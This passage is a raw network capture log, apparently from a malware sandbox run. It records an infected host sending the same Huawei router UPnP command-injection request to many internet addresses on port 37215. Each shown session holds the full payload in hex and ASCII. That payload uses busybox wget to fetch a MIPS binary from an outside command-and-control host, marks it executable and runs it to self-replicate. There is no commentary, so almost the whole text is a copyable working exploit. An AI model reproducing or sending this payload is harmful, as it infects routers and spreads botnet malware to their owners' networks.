huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.13	53224	41.198.63.23	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580111027 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.13	56484	41.53.245.116	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580132961 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.13	38398	41.154.52.102	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580152988 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.13	42862	41.228.69.41	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580189943 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.13	50954	41.20.173.91	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580207109 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.13	44326	197.33.248.216	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580225945 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.13	47510	156.6.188.205	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580284119 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.13	43302	41.15.52.191	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580363035 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.13	39746	197.20.0.149	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580426931 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.13	41750	197.207.57.76	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580456018 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.13	32828	41.171.56.168	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580477953 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 